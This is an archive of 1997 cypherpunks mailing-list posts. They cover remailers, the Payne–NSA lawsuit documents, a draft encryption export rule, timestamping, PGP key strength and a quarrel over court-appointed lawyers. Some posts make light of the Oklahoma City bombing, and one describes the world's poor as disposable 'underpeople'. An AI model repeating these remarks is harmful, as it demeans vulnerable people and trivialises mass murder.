>to a lady who was describing how hard life had become in the resulting
>"chaos of the new." I asked her if she thought that the citizens would
>return to the former political system if conditions got bad enough.
>  She said, "Over my dead body."

Which describes my similar views of the growing socialism in America.

>  Someone wants to shut down your remailer? Fine. I'll start one up.
>They want to shut down my remailer? Fine, but what about the Eternity
>Servers?
>  Don't know about the Eternity Servers? They are waiting to route
>around the damage caused by shutting down remailers, and there is
>another technology waiting to replace the Eternity Servers if they
>get shut down.

If they knock em out, another one just takes over and fills in.  Kinda like
Dynamic Routing.

>  I, for one, am not going to stand by listlessly while fascists
>attempt to build an ElectroMagnetic Curtain around me.
>  I have a byte, and I'm not afraid to use it.

Heheh, "Take a byte out of Net.fascists"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billp <billp@nmol.com>
Date: Thu, 21 Aug 1997 08:40:10 +0800
To: cypherpunks@toad.com
Subject: Give the gov bad pr
Message-ID: <33FB97DA.4FCF@nmol.com>
MIME-Version: 1.0
Content-Type: text/plain

cypherpunks, 

>From my and others' standpoint at Sandia, NSA, FBI, and NIST are
only interested in crypto from a business standpoint.

They want the taxpayer to support their business interests.

Some of us at Sandia kicked back.

Allahu akbar!!!
bill

Title: William H. Payne - Arthur R. Morales Documents






Revised 16 August 1997

21 June 1997

  

  WILLIAM H. PAYNE  - ARTHUR R. MORALES DOCUMENTS



  
    
      These documents pertain to a suit by cryptographer William
	H. Payne and Arthur R. Morales against the National Security Agency
	 (NSA) and related complaints by Payne against his former employer Sandia
	National Laboratories (SNL or Sandia), US Department of Energy, and federal
	officials. Sandia performs contract work for NSA, part of which involves
	cryptographic systems for nuclear weapons controls.
	
	Payne worked on classified cryptographic systems at Sandia. He is a
	noted scholar, scientist and author of cryptography and computer programming
	books and articles.*
	
	The documents describe Sandia's termination of Payne for alleged security
	violations, Payne's defense against the security violation charges, and Payne's
	counter-charges against Sandia and NSA of wrongful termination for criticizing
	NSA's cryptographic deficiencies and other cryptography-related misdeeds.
    
    
      
    
    
      
	Date
      
	Topic
      
	URL
    
    
      16 August 1997
      Payne-Morales Writ of Mandamus Against US District  Court
	Judges Svet and Campos
      http://jya.com/whp-usca10.htm
    
    
      21 June 1997
      NSA Suit - Motions and Scheduling Order
      http://jya.com/nsasuit6.htm
    
    
      4 June 1997
      Complaints to Supreme Justice Scalia
      http://www.jya.com/whpscalia.htm
    
    
      4 June 1997
      U.S. Attorney Warns Payne
      http://jya.com/whprjg.htm
    
    
      1 June 1997
      Data Authenticator for the Deployable Seismic Verification System
      http://jya.com/da/whpda.htm
    
    
      1 June 1997
      Secret Compartmented Information Nondisclosure Agreement
      http://jya.com/scinda.htm
    
    
      31 May 1997
      Embedded Controller Forth for the 8051 Family
      http://jya.com/f86/whpf86.htm
    
    
      29 May 29 1997
      Notification to Secretary of Energy Pena
      http://jya.com/whppena.htm
    
    
      16 May 1997
      Payne on RSA and NSA
      http://jya.com/whprsa.htm
    
    
      13 May 1997
      Payne Accuses Sandia Labs Director
      http://jya.com/snlhit.htm
    
    
      11 May 1997
      NSA  Suit - Initial Scheduling Order
      http://jya.com/nsasuit5.htm
    
    
      21 April 1997
      NSA Suit - SNL Affidavits/Letters on Classified Data
      http://jya.com/nsasuit4.htm
    
    
      12 April 1997
      NSA Suit - Answers from NSA
      http://jya.com/nsasuit3.htm
    
    
      14 March 1997
      Payne Letter to the FBI
      http://jya.com/whp2.htm
    
    
      8 March 1997
      News Report on NSA and Crypto AG
      http://jya.com/nsa-sun.htm
    
    
      8 March 1997
      News Reports on NSA Suit
      http://jya.com/whp1.htm
    
    
      8 March 1997
      NSA Suit - FOIA Appeal
      http://jya.com/nsasuit2.txt
    
    
      8 March 1997
      NSA Suit - Complaint for Injunctive Relief
      http://jya.com/nsasuit.txt
    
    
      
    
    
      Following are Department of Energy decisions and orders on
	William H. Payne's appeals of actions on his requests for information.
    
    
      
    
    
      20 February 1997
      Case No. VFA-0262, 26 DOE ¶ 80,161
      http://www.oha.doe.gov/cases/foia/vfa0262.htm
    
    
      16 December 1996
      Case No. VFA-0243, 26 DOE ¶ 80,144
      http://www.oha.doe.gov/cases/foia/vfa0243.htm
    
    
      10 July 1996
      Case No. VFA-0178, 25 DOE ¶ 80,214
      http://www.oha.doe.gov/cases/foia/vfa0178.htm
    
    
      6 May 1996
      Case No. VFA-0148, 25 DOE ¶ 80,190
      http://www.oha.doe.gov/cases/foia/vfa0148.htm
    
    
      26 March 1996
      Case No. VFA-0128, 25 DOE ¶ 80,184
      http://www.oha.doe.gov/cases/foia/vfa0128.htm
    
    
      8 November 1995
      Case No. VFA-0091, 25 DOE ¶ 80,147
      http://www.oha.doe.gov/cases/foia/VFA0091.HTM
    
    
      10 October 1995
      Case No. VFA-0076, 25 DOE ¶ 80,140
      http://www.oha.doe.gov/cases/foia/VFA0076.HTM
    
    
      
    
    
      
	* Selected Works of William H. Payne
	
	Payne, William H., Data Authenticator
	for the Deployable Seismic Verification System, Sandia Report SAND91-2201,
	UC-706, Sandia National Laboartories, June 1992.
	
	Payne, William H., Embedded Controller
	FORTH For the 8051 Family, Academic Press, Harcourt, Brace and
	Jovanovich, 1990.
	
	Payne, William, and Payne, Patricia, Implementing Basics: How BASICs
	Work, Reston Publishing, Reston, Virginia, 1982.
	
	Payne, W.H., and McMillen, K.L., Orderly Enumeration of Nonsingular Binary
	Matrices Applied to Text Encryption, Communciations of the ACM, vol.
	21, 4 (April 1978), 259-263.
	
	Lewis, T.G., and Payne, W.H., Generalized Feedback Shift Register Pseudorandom
	Number Generator, Journal of the ACM 20, 3 (July 1973), 456-468.
	
      
    
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 21 Aug 1997 08:30:11 +0800
To: Martin Pool <mbp@pharos.com.au>
Subject: Re: (Fwd) Release: Texas & Ruby Ridge killings (fwd)
In-Reply-To: <Pine.LNX.3.95.970821100850.7946C-100000@buffalo.pharos.com.au>
Message-ID: <Pine.LNX.3.95.970820181959.28582G-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 21 Aug 1997, Martin Pool wrote:

> On Wed, 20 Aug 1997, Jim Burnes forwarded a message from announce@lp.org:
> 
> > ------- Forwarded Message Follows -------
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > ===============================================
> > NEWS FROM THE LIBERTARIAN PARTY
> > 2600 Virginia Avenue, NW, Suite 100
> > Washington DC 20037
> > ===============================================
> [...]
> 
> On my machine, using keyid 1024/A7406ED1 <announce@lp.org> the signature
> did not match the message.  Most likely there was a harmless alteration in
> the process of being forwarded, but possibly the message is bogus. 
> 
> Martin Pool
> 
> 

Yes...the "-------- Forwarded Message Follows ------" line.

Unless you already took that into account in which case its
probably the ">" symbols or something to that effect.

Jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 21 Aug 1997 07:07:08 +0800
To: cypherpunks@toad.com
Subject: Draft CCL Encryption Items Rule
Message-ID: <1.5.4.32.19970820223706.0072b9e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've received from anonymous a July 25 draft of an Encryption
Items Interim Rule for the Export Administration Regulations
which describes Commerce Control List changes in response to 
public comments on the December 30, 1996 interim rule.

   http://jya.com/bxa-ei-rule.htm  (82K)

The draft is in Federal Register format but, as far as we have been
able to find, has not been published there. So if this doc was published
we'd like to hear.

Assuming the draft is legitimate, here's its summary of provisions (much
expanded in the full document):

[Begin summary]

Based on public comments to the December 30 interim rule, this interim rule
specifically makes the following changes:

- In §732.2, clarifies that BXA will consider acknowledgments and
assurances in electronic form provided that they are adequate to assure
legal undertakings similar to written acknowledgments and assurances.

- In §734.3, clarifies that downloading or causing the downloading of
encryption source code and object code in Canada is not controlled and does
not require a license, and clarifies that the methods used as precautions
to prevent unauthorized transfer of such code outside the United States or
Canada must be approved by BXA.

- In §740.6, clarifies that letters of assurance may be accepted in the
form of a letter or any other written communication from the importer,
including communications via facsimile.

- In §740.8, adds recovery encryption technology to the list of items
eligible for export under License Exception KMI, after a one-time review,
and adds a paragraph to authorize exporters of non-key recovery products
under License Exception KMI to service and support existing customers of
those products after the two-year transition period.  This section is also
amended by adding a paragraph to authorize exporters of non-recovery
encryption products under License Exception KMI to export additional
quantities of such products to existing customers under a license after the
two-year transition period.

- §740.8 is also amended by adding a new paragraph to authorize, after a
one-time review, exports and reexports under License Exception KMI of
non-key recovery financial-specific encryption items of any key length that
are restricted by design (e.g., highly field-formatted with validation
procedures, and not easily diverted to other end-uses)  for financial
applications to secure financial transactions, for end-uses such as intra
or inter-banking transfers and home banking.  No business and marketing
plan to develop, produce, and/or market similar encryption items with
recoverable features is required. Conforming changes are also made in
§742.15.

- In §740.9, removes the reference to Country Group D:1.  This clarifies
that encryption software controlled for EI reasons under ECCN 5D002 may be
pre-loaded on a laptop and exported under the tools of trade provisions of
License Exception TMP or License Exception BAG.

- In §740.14, clarifies existing provisions of License Exception BAG and
imposes a restriction on the use of BAG for exports or reexports of
EI-controlled items to terrorist supporting destinations or by other than
U.S. citizens and permanent residents.

-  §742.15 is amended adding a new paragraph that authorizes exports under
an Encryption Licensing Arrangement of general purpose non-key recovery,
non-voice encryption items of any key length for use by financial
institutions (such as banks) in all destinations except Cuba, Iran, Iraq,
Libya, North Korea, Syria and Sudan.  Applications will be reviewed on a
case-by-case basis, and must be supported by a satisfactory business and
marketing plan which explains in detail the steps the applicant will take
during the two year transition period beginning January 1, 1997 to develop,
produce, and/or market similar encryption items with recoverable features.

- In Supplement No. 4 to part 742, paragraph (3), revises "reasonable
frequency" to "at least once every three hours" to resolve the ambiguity on
how often the output must identify the key recovery agent and
material/information required to decrypt the ciphertext.

- In Supplement No. 4 to part 742, paragraph (6)(i), clarifies that the
U.S. government must be able to obtain the key(s) or other
material/information needed to decrypt all data, without restricting the
means by which the key recovery products allow this.

- In Supplement No. 6 to part 742, eliminates the test vector requirement
for 7-day mass-market classification requests and replaces it with a
requirement to provide a copy of the encryption subsystem source code.

-  In Supplement No. 6 to part 742, adds 40-bit DES as being eligible for
consideration for mass-market eligibility, subject to the additional
criteria listed in this supplement.

- In §§ 748.9 and 748.10, clarifies a long-standing policy that no support
documentation is required for exports of technology or software, and it
removes the requirement for such support documentation for exports of
technology or software to Bulgaria, Czech Republic, Hungary, Poland,
Romania, or Slovakia.  This rule also exempts from support documentation
requirements all encryption items controlled under ECCNs 5A002, 5B002,
5D002 and 5E002.  This conforms with the practice under the ITAR prior to
December 30, 1996.

- In §750.7, authorizes certain specified changes to Commerce and State
Encryption Licensing Arrangements by letter.

- In §752.3, excludes encryption items controlled for EI reasons from
eligibility for a Special Comprehensive License.

- In §770.2, adds a new interpretation to clarify that encryption software
controlled for EI reasons under ECCN 5D002 may be pre-loaded on a laptop
and exported under the tools of trade provision of License Exception TMP or
the personal use exemption under License Exception BAG, subject to the
terms and conditions of such License Exceptions.

- In part 772, adds new definitions for "effective control", "encryption
licensing arrangement", "financial institution" and "recovery encryption
products".

- In Supplement No. 1 to part 774, Category 5 - Telecommunications and
Information Security is amended by revising ECCN 5A002 to authorize exports
of components and spare parts under License Exception LVS, provided the
value of each order does not exceed $500 and to clarify that equipment for
the encryption of interbanking transactions is not controlled under that
entry.

- Revises the phrase "up to 56-bit key length DES" where it appears to read
"up to or equal to 56-bit key length DES", and makes other editorial
changes.

[End summary]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 21 Aug 1997 08:00:57 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: coercion proof timestamping services
In-Reply-To: <199708202137.WAA00738@server.test.net>
Message-ID: <199708202358.SAA23598@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708202137.WAA00738@server.test.net>, on 08/20/97 
   at 10:37 PM, Adam Back <aba@dcs.ex.ac.uk> said:

>One solution to this is for the time-stamper to publish all
>time-stamps (they are quite small being detached signatures), and publish
>a siganature on all the time-stamps stored in one file each day.  Perhaps
>even publish the signature in a newspaper.  Anyone with that newspaper,
>or an archive of the master signature only, will be able to verify any
>claimed time-stamps -- the publically published hash (in the signature)
>must match the time-stamps archived for that day.

This is how Stamper works. The time stampes are published to various NG's
& mailling lists once a week.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/t2jY9Co1n+aLhhAQHUgwQAnTprQx1BDbWaj5gDeOn+6MMNQE9AW/N6
3CDvw+iYokUBxYkdqpR+K2b9xCCO2Lu/L9xcnIEb0Wehe5YG8usm6tmwaVVd9G7c
pnI4XlYxrNjaZROAWiAYPdBq+hE/HMNUo9B3mmeAeXftoIj3VJ5JvBkzWNdUB/Lj
qrc5dslsXTw=
=Q2QL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 21 Aug 1997 07:20:56 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <OiRFUU6G+Tx6k6IjY/Q9Pw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



>It's actually closer to a cult -- a small group with it's own shared
>reality -- a reality quite at variance with societal norms.  The cult
>has its own terminology, and an underlying dogma to which these code
>words refer.  The cult has "special knowledge" that has been revealed
>to them concerning massive changes that will happen to society --
>changes that will usher in a new world order.  These changes may 
>involve the world going through a cleansing fire of war of war and 
>destruction. 

Ahhh, look, the spook speaks.

>Certain of the members sport a messiah or a martyr complex.  It is 
>also quite common for cults to call for arming the brethren against 
>the coming struggle -- even the Heaven's Gate group apparently had 
>stashes of weapons.
>
>It's all so predictable.

I would just like to say this:

Kent is a shill.

Let me say it again:

Kent is a shill.

He's so predictable.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irwan Hadi <phoenix@cutey.com>
Date: Thu, 21 Aug 1997 00:10:19 +0800
To: cypherpunks@toad.com
Subject: Re: PGP5i supports RSA keys?
In-Reply-To: <19970817123643.13713.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970820191650.04b68804@mail.bit.net.id>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 05:36 17/08/97 PDT, David Downey wrote:
>Yes, PGP 5.0i does support the RSALIB. Even though you can generate 
>RSALIB based keys, why do so when there is a newer and better 
algorythm 
>supplied with the 5.0? Albiet it is nice to have the support as not 
>everyone has converted over, I still prefer the newer one. 4096 bit 
keys 
>are going to be rather hard to break in this lifetime. :-) 
but to generate and signing a message with 4096 bits key , will take 
much times, than with 2048 or 1024

>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com
>
>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/p9wlFJDOlka9UjEQJ9OACfWHOPXiv2uiGsoGi2wXjbRBwJA7IAoNLI
vpoeaqvnIPlJ24+7srQMFDTW
=yLCE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim McVeigh <tm@dev.null>
Date: Thu, 21 Aug 1997 09:36:12 +0800
To: cypherpunks@toad.com
Subject: I regret...
Message-ID: <33FB973E.5A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



"I regret that I have but 169 lives (and one leg) 
 to give for my country."

  - Tim McVeigh





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irwan Hadi <phoenix@cutey.com>
Date: Thu, 21 Aug 1997 00:11:54 +0800
To: cypherpunks@toad.com
Subject: Which are stronger, the MPILIB, RSA or DSS
Message-ID: <3.0.3.32.19970820192406.04b68804@mail.bit.net.id>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I just want to know which are stronger and securer the MPILIB, RSA or 
DSS.
Why the key which generated by MPILIB and DSS are much longer than 
which generated by RSA.
 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/p/dlFJDOlka9UjEQLBdQCgnu94ZmgKLQ/yVuI89DZEqnAdu+QAoOXY
8a7CacSgAHzde8s7oD7cAFaB
=0ukC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Thu, 21 Aug 1997 01:42:51 +0800
To: tcmay@got.net (Tim May)
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020ce21f94c@[207.167.93.63]>
Message-ID: <199708201735.TAA08719@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> First off, I don't believe _anyone_ should ever have a "court-appointed
> attorney." We don't believe people should get state-subsidized food, or
> shelter, or medical care, and so on....or at least most of us don't. So why
> the big exception for hiring attorneys?

Maybe for the simple reason that some people might not have the money to
defend themselves ?

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 10:55:20 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: coercion proof timestamping services
In-Reply-To: <199708202137.WAA00738@server.test.net>
Message-ID: <v03102803b0215d30e528@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:37 PM -0700 8/20/97, Adam Back wrote:
>Just some thoughts about creating more robust time-stamping services.
>
>Current time stamping services just generate a PGP key, and sign any
>messages you send them.  PGP signatures already include a time stamp.
>
>Problem: if we find some interesting uses for time-stamps where it
>becomes important that no one can coerce the timestamping service into
>back-signing timestamps in the past, the current timestampers will be
>able to comply, or as they are automated services, simply confiscating
>the machine will likely give the attacker all information required to
>back date any number of time-stamps.

The Surety folks do (or did, as I don't know their current market status) a
lot more than this, and the published hash makes "back-signing"
problematic! Their URL is www.surety.com, and my own Cyphernomicon has a
description.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 11:42:47 +0800
To: Martin Pool <jim.burnes@ssds.com>
Subject: Re: (Fwd) Release: Texas & Ruby Ridge killings (fwd)
In-Reply-To: <Pine.LNX.3.95.970820141439.28582C-100000@westsec.denver.ssds.com>
Message-ID: <v03102804b0215e8a3674@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:12 PM -0700 8/20/97, Martin Pool wrote:
>On Wed, 20 Aug 1997, Jim Burnes forwarded a message from announce@lp.org:
>
>> ------- Forwarded Message Follows -------
>> -----BEGIN PGP SIGNED MESSAGE-----
>>
>> ===============================================
>> NEWS FROM THE LIBERTARIAN PARTY
>> 2600 Virginia Avenue, NW, Suite 100
>> Washington DC 20037
>> ===============================================
>[...]
>
>On my machine, using keyid 1024/A7406ED1 <announce@lp.org> the signature
>did not match the message.  Most likely there was a harmless alteration in
>the process of being forwarded, but possibly the message is bogus.
>
>Martin Pool

Thank you, Martin, for informing of this important news!! It is vitally
important that we are informed when press releases from political parties
have malformed or corrupted signatures!

In time, such broadcast announcments to mailing lists, to newsgroups, and
on other fora may actually push spam for "Make Money Fast" into second
place.

Keep up the good work.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 21 Aug 1997 11:27:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: I regret...
In-Reply-To: <33FB973E.5A@dev.null>
Message-ID: <19970821031808.19231.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> "I regret that I have but 169 lives (and one leg) 
>  to give for my country."

In other McVeigh news, Defense Lawyer Stephen Jones accused his client of
"raising the definition of the term ingratitude to new meanings."

Apparently, legal etiquette now requires that those winning Lethal
Injection at the hands of a Government Shill must profusely thank their
Shill after sentence is passed. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Wiley Councill IV <councill@earthlink.net>
Date: Thu, 21 Aug 1997 08:45:16 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0
Message-ID: <199708210036.RAA27490@belize.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



How secure is a  message encrypted with a 4096 bit key via PGP 5.0; what
kind of processing power and resources would be required to crack such a
message?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 21 Aug 1997 11:52:54 +0800
To: Patrick Oonk <patrick@atro.pine.nl>
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020f11a804e@[207.167.93.63]>
Message-ID: <v03102805b0216a60fe70@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:16 PM -0700 8/20/97, Patrick Oonk wrote:

>I am glad I live in the Netherlands, where there's at least of bit
>of social consciousness left.
>

As the repercussions of strong, unbreakable, untraceble crypto are felt,
this "social consciousness" will return to what it must be, individual
consciousness. Thus, you, Patrick Oonk, will be perfectly free to donate
money to whatever causes interest you.

But the ability of a herd to take a vote, real or alleged, will not be
sufficient to collect tribute from those who don't want to make the
contribution freely.

As to the billion or so underpeople who are incapable of contributing that
which others are willing to freely compensate them for, think of it as
evolution in action.

Besides, in about 6.7 years, the world will have replaced them. People are
like Doritos...the world will make more.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Thu, 21 Aug 1997 05:42:14 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <rPzSGK09+tW7LyswY0FJtg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



"Don't HATE the media... 
beCOME the media!"       
            - J. Biafra





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Thu, 21 Aug 1997 04:25:17 +0800
To: tcmay@got.net (Tim May)
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020f11a804e@[207.167.93.63]>
Message-ID: <199708202016.WAA10456@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> At 12:00 PM -0700 8/20/97, Paul Pomes wrote:
> >At 10:49 PDT on Wednesday, August 20, 1997, Tim May wrote:
> >
> >|>Maybe for the simple reason that some people might not have the money to
> >|>defend themselves ?
> >|
> >|And what of those without the money to feed themselves? Etc.
> >
> >The difference is that the lack of means to feed oneself is usually self-
> >selected.  Political criminals, or people simply unaware that they're felons
> >under an increasing number of laws, seldom have a choice whether they will
> >be arrested and tried.
> >
> >Certainly the preferred solution is to junk most of the laws on the books.
> >However until committing a felony is an explicit conscious act, we will
> >need court-appointed attorneys for persecution victims.
> 
> I don't buy this. You are, of course, welcome to join Patrick Oonk in
> funding lawyers for those unable (or unwilling) to pay. Demanding that I
> pay for your charitable desires is, of course, theft.

I am glad I live in the Netherlands, where there's at least of bit
of social consciousness left.


-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 21 Aug 1997 13:37:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <v03102800b020f11a804e@[207.167.93.63]>
Message-ID: <19970820222934.23073@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 20, 1997 at 08:51:09PM -0700, Tim May wrote:
> At 1:16 PM -0700 8/20/97, Patrick Oonk wrote:
> 
> >I am glad I live in the Netherlands, where there's at least of bit
> >of social consciousness left.
> >
> 
> As the repercussions of strong, unbreakable, untraceble crypto are felt,
> this "social consciousness" will return to what it must be, individual
> consciousness. Thus, you, Patrick Oonk, will be perfectly free to donate
> money to whatever causes interest you.
> 
> But the ability of a herd to take a vote, real or alleged, will not be
> sufficient to collect tribute from those who don't want to make the
> contribution freely.

Note another characteristic of cult thinking -- total separation of
the illuminati from the "herd" -- the idea that the "chosen" are
irrevocably different from those other unfortunate creatures that
accidentally share the same physical form. 

It is also worth noting that frequently cult members are very
intelligent, very capable people -- high intelligence is absolutely no
defense against insanity. 

> As to the billion or so underpeople who are incapable of contributing that
> which others are willing to freely compensate them for, think of it as
> evolution in action.
> 
> Besides, in about 6.7 years, the world will have replaced them. People are
> like Doritos...the world will make more.

One wonders if there is a microscope powerful enough to resolve Tim 
May's heart.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 21 Aug 1997 10:49:25 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: An end to "court appointed attorneys"
In-Reply-To: <25723.872103623@zelkova.qualcomm.com>
Message-ID: <3.0.2.32.19970820223440.03e9f9bc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:14 PM 8/20/97 -0700, Tim May wrote:
>I don't buy this. You are, of course, welcome to join Patrick Oonk in
>funding lawyers for those unable (or unwilling) to pay. Demanding that I
>pay for your charitable desires is, of course, theft.
>
>Why should those who managed to save money, for example, subsidize those
>who did not? Jim Bell, for example (but not to pick on him...but he's the
>current example), is almost as old as I am. And yet he made choices in his
>career which left him indigent, or unable to pay for a legal defense. So
>why should I and other taxpayers, including those working for $7 an hour at
>Taco Bell, subsidize his lawyer-in-training?

Besides, as Bell & McVeigh found out free lawyers are worth what you pay 
them.  Most felons could do a better job in their own case (or at least no 
worse) than these two did.  Besides, if you have a lawyers, you are usually 
prevented from using some of the more creative defenses because a lawyer has 
too much to lose.

Note what happened with Kevorkian's lawyer the last time he and "Jack the 
Dripper" were in court.  This lawyer has over the years changed from being a 
lawyer to being a total partisan for his client.  After his opening statement 
a few months ago on the latest of the Good Doctor's prosecutions for assisted 
suicide, the judge granted a mistrial because the statement was so 
prejudicial.  The DA later announced that he would not refile because they 
couldn't stop the lawyer from doing the same thing again.  Anyone can do this 
sort of thing and get at least one mistrial but ordinarily a lawyer won't do 
it because it will cause him problems.

Jury nullification and aggressive attacks on the judge and the prosecutor are 
just a few of the defense strategies that a lawyer won't indulge in but a 
client proceeding in pro per is free to use.

DCF

"I respectfully request that your Honor recuse yourself because you have a 
financial interest in the outcome of these proceedings.  Your salary is paid 
from tax monies and if my arguments on the tax system are accepted, your 
income will be cut off.  I request appointment of a judge who does not 
receive payment from taxation."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM/upP4VO4r4sgSPhAQHm7gP8CHCKx1l0ob5ldcglz5oTmnz56YRk6ZAi
zgNvOJm10oKdwBKfLccEilrQn6zBHuUbLshOyFJwVOZYD4BK1Gde1iFPsOFeIYkL
338dAJIEgA1Yy05ncdI9wIwWTqFIoC4xDL0xa37gOAOSBGQgxtMVn8c/ZE4PNptx
CCr48DvGaMk=
=Ve7H
-----END PGP SIGNATURE-----





